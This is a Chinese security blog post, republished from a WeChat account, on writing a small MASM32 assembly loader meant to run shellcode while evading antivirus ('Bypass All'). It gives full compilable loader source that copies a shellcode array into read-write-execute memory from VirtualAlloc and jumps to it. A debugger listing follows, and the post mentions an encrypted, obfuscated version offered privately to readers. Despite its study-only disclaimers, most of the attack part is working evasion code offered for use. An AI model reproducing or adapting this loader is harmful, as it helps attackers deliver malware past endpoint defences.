Bypass All From Assembly Loader

admin 2024年10月7日19:12:33评论14 views字数 2600阅读8分40秒阅读模式

hey,guys,happy to 七夕节!

OK,不装逼了,进入正题,最近快到七夕节,隔壁有点“吵”,写篇文章来助眠

Bypass All From Assembly Loader

最近看到很多关于免杀的加载器,大部分都是C语言 or golang or C# or Python 写的,那么这些语言写出来的加载器大部分都得不到CP(Code Purification)化的保证。

Bypass All From Assembly Loader

Bypass All From Assembly Loader

所以问题来了,如何实现CP化的保证呢?

这也是今天文章的重点主题,首先我们需要安装配置masm32编译器

http://www.masm32.com/download.htm

具体安装和操作,这里就不讲了,大家可进行百度操作

Bypass All From Assembly Loader
0x01 masm32 start up
Bypass All From Assembly Loader

准备工具:Ollydebug、Winhex、C32Asm、Masm32

首先我们编译一段简单的汇编弹窗的代码

编译命令:

ml /c /coff main.asm

link /SUBSYSTEM:WINDOWS /ENTRY:start main.obj

.386.model flat,stdcalloption casemap:noneinclude masm32includewindows.incinclude masm32includekernel32.incinclude masm32includeuser32.incincludelib masm32libkernel32.libincludelib masm32libuser32.lib.data  caption db "Hello World",0  message db "Hello from Assembly!",0.codestart:    invoke MessageBox, NULL, addr message, addr caption, MB_OK    invoke ExitProcess, 0end start

我们可以看到,编译出的程序只有2.50kb,完全没有掺杂其他代码

Bypass All From Assembly Loader

Bypass All From Assembly Loader

Bypass All From Assembly Loader
0x02 based assembly loader
Bypass All From Assembly Loader

不都是基于C语言的加载器吗?

怎么汇编还能加载shellcode呢??

汇编不就是shellcode吗???

对于这些无知的问题在这里就不作解答了,直接放代码。

.386.model flat, stdcalloption casemap: noneinclude masm32includewindows.incinclude masm32includekernel32.incincludelib masm32libkernel32.lib.datashellcode db 0FCh, 0E8h, 082h, 000h, 000h,....your shellcode.codestart:    call LoadAndExecuteShellcode    invoke ExitProcess, 0LoadAndExecuteShellcode proc    invoke VirtualAlloc, 0, 300, MEM_COMMIT, PAGE_EXECUTE_READWRITE    mov ebx, eax    lea esi, shellcode    lea edi, [ebx]    mov ecx, 300    rep movsb    jmp ebxLoadAndExecuteShellcode endpend start

我们使用masm32进行编译,就可以成功进行弹出计算器

这里需要注意一下,汇编的十六进制需要使用c32asm来进行复制

右键 -> 拷贝 -> 汇编格式化

不然,直接会执行出问题

Bypass All From Assembly Loader

我们可以使用ollydebug来进行分析,怎么去进行调用的

调用代码比较简单 大致如下

Bypass All From Assembly Loader

00401000 >/$  E8 07000000   call main.0040100C00401005  |.  6A 00         push 0x0                                 ; /ExitCode = 0x000401007  .  E8 26000000   call <jmp.&kernel32.ExitProcess>         ; ExitProcess0040100C   $  6A 40         push 0x40                                ; /Protect = PAGE_EXECUTE_READWRITE0040100E   .  68 00100000   push 0x1000                              ; |AllocationType = MEM_COMMIT00401013   .  68 2C010000   push 0x12C                               ; |Size = 12C (300.)00401018   .  6A 00         push 0x0                                 ; |Address = NULL0040101A   .  E8 19000000   call <jmp.&kernel32.VirtualAlloc>        ; VirtualAlloc0040101F   .  8BD8          mov ebx,eax                              ;  kernel32.BaseThreadInitThunk00401021   .  8D35 00304000 lea esi,dword ptr ds:[0x403000]00401027   .  8D3B          lea edi,dword ptr ds:[ebx]00401029   .  B9 2C010000   mov ecx,0x12C0040102E   .  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>00401030   .- FFE3          jmp ebx00401032   .- FF25 04204000 jmp dword ptr ds:[<&kernel32.ExitProcess>;  kernel32.ExitProcess00401038   $- FF25 00204000 jmp dword ptr ds:[<&kernel32.VirtualAllo>;  kernel32.VirtualAlloc

调用了系统函数VirtualAlloc来进行申请一个可写可读可执行的内存区域

将申请的地址传递给ebx,再去使用jmp ebx来执行我们的shellcode的地址,代码很简单,但是这种方式大家应该都懂得,如果shellcode和执行体在一块的话,那么他就很容易被特征,大家应该都懂得。

[PS:再好的加载器也经不起这样造]

Bypass All From Assembly Loader

至此,经过一些过程魔改CP版loader加载器做成了,3kb文件小而“精悍”,使用了私钥加密shellcode和混淆了汇编代码集合于一体了,代码如下:

Bypass All From Assembly Loader

Bypass All From Assembly Loader

Bypass All From Assembly Loader

Bypass All From Assembly Loader

<文章结尾>
参考文章:https://mp.weixin.qq.com/s/CfodyqoK7Vf8CbXuV9_o1g
文章只提供学习和研究,禁止制作非法恶意程序
代码有需要学习的同学可以私聊微信公众号
回复:AssemblyCP

原文始发于微信公众号(安全Play):Bypass All From Assembly Loader

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日19:12:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bypass All From Assembly Loaderhttp://cn-sec.com/archives/2025299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息